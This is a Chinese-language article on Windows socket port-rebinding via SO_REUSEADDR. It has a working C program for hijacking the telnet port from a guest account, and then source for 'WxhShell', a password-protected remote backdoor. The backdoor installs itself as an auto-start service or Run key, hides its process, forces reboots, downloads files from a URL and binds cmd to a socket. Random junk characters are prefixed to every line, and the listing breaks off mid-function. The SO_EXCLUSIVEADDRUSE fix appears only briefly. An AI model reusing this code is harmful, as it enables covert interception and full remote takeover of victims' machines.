在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gMZ?MG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#EU x1II ;0\ saddr.sin_family = AF_INET;
b;sjw5cm_ v~HfA)#JK saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-U_<: YJrZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
X?.LA7 )CK E|^~R}z) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1Xu^pc l.i&.;f 这意味着什么?意味着可以进行如下的攻击:
C{):jH,Rf !ly]{DTmm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LaiUf_W #X }vdhk0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-{fbZk&A uU00ZPS*G[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Nb;Yti@Y. %7rWebd- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
o%A@
OY ;H8A"$%n~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
J;BG/VI1 e c`3Qw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
G@QZmuj&KH <)(STo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xlaBOK a% wXsA-H/` #include
T|[o #include
#|
Et9 #include
iP JZ% #include
8[;U|SR" DWORD WINAPI ClientThread(LPVOID lpParam);
-xf=dzm) int main()
fKAG+ t {
8aD4wc WORD wVersionRequested;
~8EG0F;t DWORD ret;
C'}8 WSADATA wsaData;
E8Wgm
8 BOOL val;
)f0t"lk SOCKADDR_IN saddr;
5ff66CRw SOCKADDR_IN scaddr;
asI:J/%+2 int err;
4o2C=?@( SOCKET s;
=jmn SOCKET sc;
ghiFI<)VY int caddsize;
wLC|mByq HANDLE mt;
rT
~qoA\ DWORD tid;
u]ZCYJ> wVersionRequested = MAKEWORD( 2, 2 );
@[S\ FjI err = WSAStartup( wVersionRequested, &wsaData );
c;bp[Y3R if ( err != 0 ) {
IXf@YV printf("error!WSAStartup failed!\n");
KyAQzN 9 return -1;
w_I}FPT<(: }
#3u;Ox saddr.sin_family = AF_INET;
o^},L? X Jy]d/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|L7
`7!Z (byFr9z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'5eW"HGU]` saddr.sin_port = htons(23);
G?d28p',. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sT3O_20{ {
@Tzh3,F2 printf("error!socket failed!\n");
u U>Bun
return -1;
X(#G6KeZFZ }
}o?@ val = TRUE;
DP*[t8 //SO_REUSEADDR选项就是可以实现端口重绑定的
W 6~B~L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7@rrAs-"Z {
fN>o465I6 printf("error!setsockopt failed!\n");
j4Cad return -1;
?!-2G }
$3%EKi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I/MYS5} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K$\]\qG6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
VHB5 A=|&N%lP' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O&irgc! {
V5RfxWtm: ret=GetLastError();
,y?0Iwf printf("error!bind failed!\n");
y:Qo:Z~ return -1;
(3"V5r`*; }
#G^?4Za listen(s,2);
r/fLm8+ while(1)
[HK[{M=v= {
dGcG7*EX caddsize = sizeof(scaddr);
(6fh[eK86 //接受连接请求
xq.,7#3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
BxO8oKe if(sc!=INVALID_SOCKET)
i%0Ml:Y {
~ FM5]<X) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4S@^ym if(mt==NULL)
X% S?o {
pNI=HHx printf("Thread Creat Failed!\n");
Yt7R[| break;
a!P?RbW }
<`a!%_LC
[ }
Bi)1* CloseHandle(mt);
Fmk,
"qs }
}ruBbeQ closesocket(s);
x2[A(O= WSACleanup();
FU~ Ip return 0;
IiIF4 pQ, }
~(%nnG6x DWORD WINAPI ClientThread(LPVOID lpParam)
aDTNr/I {
3xh~xE SOCKET ss = (SOCKET)lpParam;
d?*=<w!A SOCKET sc;
\:\rkc9LI unsigned char buf[4096];
M"#xjP. SOCKADDR_IN saddr;
9dr\=e6) C long num;
k 0z2)3L DWORD val;
x(&o=Pu DWORD ret;
;2-,Xzz8 //如果是隐藏端口应用的话,可以在此处加一些判断
Q'&oSPXSDd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
p0UR5A>p saddr.sin_family = AF_INET;
Y:oL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
CbA! saddr.sin_port = htons(23);
: }v&TQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
diGPTV-?$ {
ub6=^`>h printf("error!socket failed!\n");
;dNKe.`Dg return -1;
cRK1JxU }
[GX5jD# val = 100;
JVFn=Mw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_1f!9ghT\ {
V,fSn:8%M ret = GetLastError();
egxh return -1;
$3|++? }
:aR&t#<"E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2}[)y\`t3 {
l_y:IY$" ret = GetLastError();
(qnzz!s return -1;
#)2'I`_E }
a1_7plg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
g>A*kY {
3G
dWq* printf("error!socket connect failed!\n");
V lXUrJ9& closesocket(sc);
fa;\4# closesocket(ss);
t{|
KL<d] return -1;
7/w)^&8 }
v{"$:Z
ow while(1)
[84ss;.$ {
r*fZS$e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q}2aBU.f //如果是嗅探内容的话,可以再此处进行内容分析和记录
BYFvf(> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>uN{co hs num = recv(ss,buf,4096,0);
[nB[]j<R* if(num>0)
^+^#KC8]W send(sc,buf,num,0);
O{uc
h else if(num==0)
!jGe_xB}~ break;
6Lr G+p` num = recv(sc,buf,4096,0);
1WRQjT=o if(num>0)
a.#`> send(ss,buf,num,0);
E4GtJ`{X else if(num==0)
Cb5;l~}L break;
{M96jjiInf }
u+a"
'* closesocket(ss);
N?TXPY closesocket(sc);
K>hQls+ return 0 ;
//n$#c_}u }
{b6| wQ\ X]d;x/2 A}v!vVg ==========================================================
L\)ssOuh )-%3;e<w 下边附上一个代码,,WXhSHELL
9&}$C]` 9AO`Zk{/Ez ==========================================================
^^UT(nj /]zn8d #include "stdafx.h"
S<H2e{~ ^pruQp1X #include <stdio.h>
jT>G8}h #include <string.h>
#$2{l,> #include <windows.h>
n]^zIe^6 #include <winsock2.h>
$(/=Wn #include <winsvc.h>
_GS_R%b #include <urlmon.h>
+e}v)N 7ESSx"^B #pragma comment (lib, "Ws2_32.lib")
F_.rLgGY #pragma comment (lib, "urlmon.lib")
CT,P Q Yl4XgjG #define MAX_USER 100 // 最大客户端连接数
t%Sgw%f #define BUF_SOCK 200 // sock buffer
^S:S[0\, #define KEY_BUFF 255 // 输入 buffer
Cp4 U`] $`,10uw #define REBOOT 0 // 重启
*;cvG?V #define SHUTDOWN 1 // 关机
:}'5'oVG @6\Id7`Ea #define DEF_PORT 5000 // 监听端口
KT$Za R8LJC]6Bh #define REG_LEN 16 // 注册表键长度
_)-t#Ve #define SVC_LEN 80 // NT服务名长度
fUj[E0yOF C+o1.#]JM // 从dll定义API
n-zAkKM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T% 74JRQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]!CMo+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O(x1Ja,& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}huj%Pnk) N~H!6N W // wxhshell配置信息
)E9[=4+*C$ struct WSCFG {
UMtnb:ek int ws_port; // 监听端口
prtNfwJz1j char ws_passstr[REG_LEN]; // 口令
m31l[e int ws_autoins; // 安装标记, 1=yes 0=no
O|%03q( char ws_regname[REG_LEN]; // 注册表键名
x*>@knP<- char ws_svcname[REG_LEN]; // 服务名
a',6WugIP char ws_svcdisp[SVC_LEN]; // 服务显示名
OlRtVp1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
!r\u,l^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o%3i(H int ws_downexe; // 下载执行标记, 1=yes 0=no
>7g #e,d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'Ur1I" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6mp8v`b #+CH0Z };
sgYPR s&v7<)*q // default Wxhshell configuration
Uh[MBwK struct WSCFG wscfg={DEF_PORT,
`1Ui "xuhuanlingzhe",
;] v{3m 1,
Kk.a9uKI} "Wxhshell",
Wo)$*? "Wxhshell",
Qa`+-Wu8 "WxhShell Service",
"&Q sv-9t "Wrsky Windows CmdShell Service",
2{U5*\FhVX "Please Input Your Password: ",
co^bS;r 1,
_[)f<`!g_V "
http://www.wrsky.com/wxhshell.exe",
L%S(z)xX3 "Wxhshell.exe"
>EE}P|=- };
|L9p. q y{>T['"@ // 消息定义模块
?+)>JvWDz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]@Z[/z%~04 char *msg_ws_prompt="\n\r? for help\n\r#>";
\/XU v( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%f)%FN.S char *msg_ws_ext="\n\rExit.";
79&=MTM
char *msg_ws_end="\n\rQuit.";
[0bp1S~ char *msg_ws_boot="\n\rReboot...";
._%8H char *msg_ws_poff="\n\rShutdown...";
Jb/VITqN4 char *msg_ws_down="\n\rSave to ";
*.us IH2 ;t~Y>, char *msg_ws_err="\n\rErr!";
"2 \},o9 char *msg_ws_ok="\n\rOK!";
w{8O$4
w g)dKXsy(F char ExeFile[MAX_PATH];
)7c/i+FsC int nUser = 0;
2CMWJi HANDLE handles[MAX_USER];
`.i #3P int OsIsNt;
(N"9C+S} @\U;?N~k SERVICE_STATUS serviceStatus;
vzX%x ul SERVICE_STATUS_HANDLE hServiceStatusHandle;
&s#O iF8 |@W|nbAfX // 函数声明
SA{noM int Install(void);
.R^R32ln int Uninstall(void);
QXI#gA
= int DownloadFile(char *sURL, SOCKET wsh);
&3Y "Zd! int Boot(int flag);
_xsHU`(J# void HideProc(void);
nt:ZO,C:R int GetOsVer(void);
:(A k: int Wxhshell(SOCKET wsl);
HXm&` void TalkWithClient(void *cs);
\h>6k int CmdShell(SOCKET sock);
1y3)ogL int StartFromService(void);
h3e
%(a int StartWxhshell(LPSTR lpCmdLine);
%OJ"@6A fQU5' wGp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cb=ixn VOID WINAPI NTServiceHandler( DWORD fdwControl );
%E8HLTEvl ke<l@wO // 数据结构和表定义
y_``-F&Z SERVICE_TABLE_ENTRY DispatchTable[] =
@Os0A {
\E
{'| {wscfg.ws_svcname, NTServiceMain},
$~e55X'!+ {NULL, NULL}
?
KDg|d };
L,yq'>*5s 5{gv\S1 // 自我安装
}wB!Bx2 int Install(void)
g'+2bQ {
zYxA#TZL char svExeFile[MAX_PATH];
BN&eU'Dl] HKEY key;
! FVD_8 strcpy(svExeFile,ExeFile);
_BEDQb{"| x.9[c m-! // 如果是win9x系统,修改注册表设为自启动
ZU$QwI8 if(!OsIsNt) {
ep6V2R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6&"*{E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wG&Z7C b RegCloseKey(key);
|w"G4J6ha if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=}"P;4: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a8YFH$Xh RegCloseKey(key);
!a4`SjOgu return 0;
naiQ$uq0 }
m2%n: }
U#x`u|L&6 }
c8N pk< else {
|H(i)yu"5' # uy^AC$ // 如果是NT以上系统,安装为系统服务
_Tf
%<E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\#v(f2jPF if (schSCManager!=0)
J8B0H1 {
DaBy<pGb? SC_HANDLE schService = CreateService
ol1J1Zg (
QYj*|p^x schSCManager,
Y
.E.(\ wscfg.ws_svcname,
bzaweAH wscfg.ws_svcdisp,
&lo<sbd. SERVICE_ALL_ACCESS,
wE-y4V e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g) ofAG2 SERVICE_AUTO_START,
SmS6B5j\R SERVICE_ERROR_NORMAL,
\j<aFOT( svExeFile,
: sG/ NULL,
ujn7DBE" NULL,
6P
T) NULL,
.NJ Ne NULL,
[s[!PlazX NULL
610u!_- );
Y=i_2R2e2 if (schService!=0)
iA|n\a~ny, {
hh$i1n CloseServiceHandle(schService);
Nx zAlu CloseServiceHandle(schSCManager);
24po}nrO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sDvy(5 strcat(svExeFile,wscfg.ws_svcname);
g W?Hd/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
tiy#b8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r3Kx RegCloseKey(key);
BC85#sbl return 0;
I-Q(kWc }
,g 1~4,hqQ }
VVEJE$ CloseServiceHandle(schSCManager);
\'X-><1 }
#<@_mbQ@|K }
Uh XVeGO <'jygZ( return 1;
R2qz>kyyB }
uF{l`|b' Pz|}[Cx- // 自我卸载
wH\
K'/ int Uninstall(void)
e
+jp,>(v {
RDeI l& HKEY key;
~iIFe+6 K#N5S]2yb if(!OsIsNt) {
ZftucD|ZY/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^Ge|tBMoKE RegDeleteValue(key,wscfg.ws_regname);
Sq5}v]k@& RegCloseKey(key);
P
V9q= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8} X>u2t RegDeleteValue(key,wscfg.ws_regname);
c],Zw RegCloseKey(key);
<J]N E|: return 0;
,!^g8zO }
b%X<'8z9Z }
R0yp9icS }
_$mS=G( else {
PKev)M;C+ k#2b3}(, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`uc`vkVZ if (schSCManager!=0)
#UnGU,J {
QZ5%nJme_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!MOcF5M if (schService!=0)
PkOtg[Z {
{\VmNnw if(DeleteService(schService)!=0) {
/AIFgsaY CloseServiceHandle(schService);
?U,Xy xN CloseServiceHandle(schSCManager);
yn2k!2]&T< return 0;
U9Lo0K }
tbB.n CloseServiceHandle(schService);
YCBUc<) }
v){X&HbP CloseServiceHandle(schSCManager);
r2&/Ii+ }
RRtOBrIedI }
km}E&ao CbMClnF return 1;
rY"EW"y }
'l1cuAP!+ InG<B,/W? // 从指定url下载文件
s
~i,R int DownloadFile(char *sURL, SOCKET wsh)
6a6N$v" {
?YM0VB,y HRESULT hr;
g:>dF# char seps[]= "/";
n* z;%'0 char *token;
xQ=L2pX char *file;
,f
.#- char myURL[MAX_PATH];
<$%Y#I'zX char myFILE[MAX_PATH];
VKr
oikz@] &RlYw#*1. strcpy(myURL,sURL);
6 w0r)
token=strtok(myURL,seps);
~gEd( while(token!=NULL)
{z# W- {
Z-i$KF file=token;
a]x\e{ token=strtok(NULL,seps);
D|8h^*Ya }
cV* 0+5 :5zO!~\
GetCurrentDirectory(MAX_PATH,myFILE);
K
st2.Yy strcat(myFILE, "\\");
k= 9a/M
u strcat(myFILE, file);
a{iG0T.{Yh send(wsh,myFILE,strlen(myFILE),0);
c+u) C%g send(wsh,"...",3,0);
e pAC%a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-vS7 %Fbr if(hr==S_OK)
2J7JEv| return 0;
lW@i,1 else
zh4m`}p return 1;
t<qXXQ&5 CHM+@lD }
iu'r c/=V 3]/Y=A // 系统电源模块
`{\10j*B int Boot(int flag)
R(A"6a8* {
LYS[qLpf HANDLE hToken;
O:X|/g0Y TOKEN_PRIVILEGES tkp;
gd ; e-. wk6tdY{&s if(OsIsNt) {
u=B,i#>s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_lG\_6oJ, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N Z~"2~Hh tkp.PrivilegeCount = 1;
#]Q.B\\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
K-7i4
~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
G;bE_O if(flag==REBOOT) {
{ FM:\/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8KS9!*.iZ return 0;
qCYXkZ%` }
N:rnH:g+: else {
12yX`9h> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2aGK}sS6 return 0;
d#nKTqSg }
<k2]GI-}h }
nL*
SNQ_ else {
,m.IhnCV\ if(flag==REBOOT) {
RkBbu4uQ- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:WdiH)Zv return 0;
W_G'wU3R }
MXuiQ;./ else {
ESv&x6H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wz5*?[4 return 0;
0t}&32lL& }
Amvl/bO }
(B;rjpK WUqfY?5 return 1;
J9/}ZD^ }
u:&Lf G |vG5$Nf // win9x进程隐藏模块
97(*-e= e void HideProc(void)
. vQCX1V( {
j*N:Kdzvl cXvq=Rb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$v+t~b if ( hKernel != NULL )
9!oNyqQ
{
qQUCK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
38eeRo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+t PqU6 FreeLibrary(hKernel);
[0mg\n? }
Mi_/
^
\py
\rI return;
fP:g}Z }
Sj<WiQ%< xA2"i2k9 // 获取操作系统版本
sYb( g'W*' int GetOsVer(void)
;-X5# {
+ %07J6 OSVERSIONINFO winfo;
ln6Hr^@5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`>cBR,)r GetVersionEx(&winfo);
-:o4|&g<* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P ||:?3IH return 1;
2hI|]p else
*_7%n-k return 0;
V0x;*)\PYm }
8z
h{?0 rik0F // 客户端句柄模块
$Y5m"wySZ int Wxhshell(SOCKET wsl)
Grw|8xN0t {
O
o+pi$W SOCKET wsh;
-(]s!, struct sockaddr_in client;
rt[w
yz8 DWORD myID;
%^$7z,>; %0!!998 while(nUser<MAX_USER)
td#B$$[ {
S @MO int nSize=sizeof(client);
cRhu]fv() wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>ps=z$4j* if(wsh==INVALID_SOCKET) return 1;
Qs5^kddz= <r'l5|er handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^xwnX=Np if(handles[nUser]==0)
usR:-1{ closesocket(wsh);
e1j3X\ \ else
>3a<#s{% nUser++;
(}u2) 9 }
]l
WEdf+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_c4kj 93*MY7j} return 0;
(/r l\I }
JXIxk"m $kA'9Y // 关闭 socket
cn$o$:tW void CloseIt(SOCKET wsh)
RHc-kggk! {
V94eUmx>?+ closesocket(wsh);
:"9P {xe^ nUser--;
#DI%l`B ExitThread(0);
w+NdEE4H9z }
MM*B.y~TxZ .A. VOf_ // 客户端请求句柄
"[rChso void TalkWithClient(void *cs)
5QR=$?K {
U2u\Q1 ^"e|)4_5\ SOCKET wsh=(SOCKET)cs;
Is $I;` char pwd[SVC_LEN];
^T#bla893 char cmd[KEY_BUFF];
#ONad0T; char chr[1];
.m]"lH* int i,j;
`H.~#$ ,X05&'@Z while (nUser < MAX_USER) {
j<-#a^jb Wz~=JvRHh if(wscfg.ws_passstr) {
s?8vs%(l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.I"Qu:`` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+EZ Lic //ZeroMemory(pwd,KEY_BUFF);
.m&JRzzV
i=0;
*t JgQ[ while(i<SVC_LEN) {
gua +-##) bV5 { // 设置超时
Cz%tk}2 fd_set FdRead;
I0
78[3b struct timeval TimeOut;
H<|ilL'fX FD_ZERO(&FdRead);
kf8-#Q/B FD_SET(wsh,&FdRead);
\~]HfDu TimeOut.tv_sec=8;
Z-fQ{&a{ TimeOut.tv_usec=0;
c&{1Z&Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xV_,R'l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f.%mp$~T .>Gnb2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LX
[ _6 pwd
=chr[0]; \{HbL,s
if(chr[0]==0xd || chr[0]==0xa) { rff=ud>Jf
pwd=0; \pXs&}%1,F
break; SM;*vkwz~
} OO Hw-MW
i++; ]ZD W+<
} `u zR!^X
vU:FDkx*nn
// 如果是非法用户,关闭 socket H\Y5Fd9)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?*36&Iq}
} ^u?#fLr
g ni=S~u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8!~8:?6n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g[]UM;D*
N%hV +># Z
while(1) { eF[CiO8F2
Tq\S-K}4!
ZeroMemory(cmd,KEY_BUFF); Fgf5OHX
9w^lRbn
// 自动支持客户端 telnet标准 3C,G~)=
x
j=0; -|ho
8alF
while(j<KEY_BUFF) { cmLGMlFT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .l| [e
cmd[j]=chr[0]; ^PnXnH?
if(chr[0]==0xa || chr[0]==0xd) { r\OunGUP
cmd[j]=0; WIe7>wkC
break; cBZKt
} 4GA9oLl
j++; $>PXX32
} qqL :#]lV5
#JmVq-)
// 下载文件 CFm(
yFk
if(strstr(cmd,"http://")) { q&/<~RC*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >UUcKq1M:
if(DownloadFile(cmd,wsh)) pO^PkX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tz\ PQ)!
else 64)Fz}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); laRcEXj
} #Tz$ona
else { a.n;ika]-
BGtr= &Hq
switch(cmd[0]) { B6N/nCvHK
n{d0}N=
// 帮助 E[:eMJR
case '?': { zTgY=fuz
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $pKlF0 .
break; KASuSg+
} +-DF3(
// 安装 OcA_m.
case 'i': { Q[j'FtP%
if(Install()) e-!6m#0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `D44I;e^1;
else -6Y@_N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `!`g&:Y
break; 3 291"0
} F9ys.Bc
// 卸载 6:fHPlqW
case 'r': { 7Ei,L[{\i#
if(Uninstall()) ^tMb"WO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \dm5Em/
else prHM}n{0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <r9L-4
break; I_1(jaY
} I7@|{L1|FB
// 显示 wxhshell 所在路径 jR1o<]?
case 'p': { J0ysZ]
char svExeFile[MAX_PATH]; 9HsiAi*
strcpy(svExeFile,"\n\r"); 3V(]*\L
strcat(svExeFile,ExeFile); ~.Wlv;
send(wsh,svExeFile,strlen(svExeFile),0); jmp0 %:+L
break; j*.K|77WHj
} F@]9oF
// 重启 )j/2Z-Ev:W
case 'b': { :w!A_~ w2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _>8rTk`/h
if(Boot(REBOOT)) yt'P,m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @
0'j;")XV
else { L;7u0Yg
closesocket(wsh); Wc*jTip
ExitThread(0); V-{3)6I$hG
} R]h3a:ic
break; b<\2j5
} ME0vXi
// 关机 ag_*Z\
case 'd': { .+07 Ui]I!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -JEiwi ,
if(Boot(SHUTDOWN)) J~]Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)+ s, LT5
else { tJM#/yT
closesocket(wsh); %,1xOl4l
ExitThread(0); "t.Jv%0=
} !K8Kw
W|X
break; 9{GEq@`7
} |erG cKk
// 获取shell yTxrbE
case 's': { Vk tc
CmdShell(wsh); jIL+^{K<
closesocket(wsh); &KYPi'C9!z
ExitThread(0); (#c|San
break; &G|^{!p/G
} .E:3I!dH7
// 退出 gW5yLb_Vz$
case 'x': { RoFOjCc>D.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qkM)zOZ^
CloseIt(wsh); 0!Vza?9
break; aw923wEi
} ~n"?*I`
// 离开 O"GuVC}B
case 'q': { Mp?Gi7o=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @!Z1*a.
closesocket(wsh); H|IG"JB
WSACleanup(); b9xvLR8
exit(1); l(y,lK=YP1
break; )ZW[$:wA
} \ xJ_)r
} j* ZU}Ss
} yPd6{% w
;/h&40&
// 提示信息 &RHZ7T
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '8yC wk
} _UA|0a!-
} 4
Aj<k
i91 =h
return; ~m'8<B5+
} O**~ Tj
}G)2HTaZ
// shell模块句柄 U *:ju+)k
int CmdShell(SOCKET sock) *N|ak =
{ 4;bc!>
sfC
STARTUPINFO si; SDc8\ms
ZeroMemory(&si,sizeof(si)); LPeVr^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -N'wKT5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>ve|us$
PROCESS_INFORMATION ProcessInfo; l*$~Y0
char cmdline[]="cmd"; .(&w/jR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FVxORQI
return 0; -q]5@s/
} 2lCgUe)N
b/w5K2
// 自身启动模式 zIA)se
Js
int StartFromService(void) 3L CT-rp
{ L)n_
Q
typedef struct | .gE9'"bv
{ jL7r1pu5
DWORD ExitStatus; xi<yB0MoA
DWORD PebBaseAddress; %L|xmx!c
DWORD AffinityMask; Q Hr'r/0
DWORD BasePriority; ~:
fSD0
ULONG UniqueProcessId; I.'/!11>
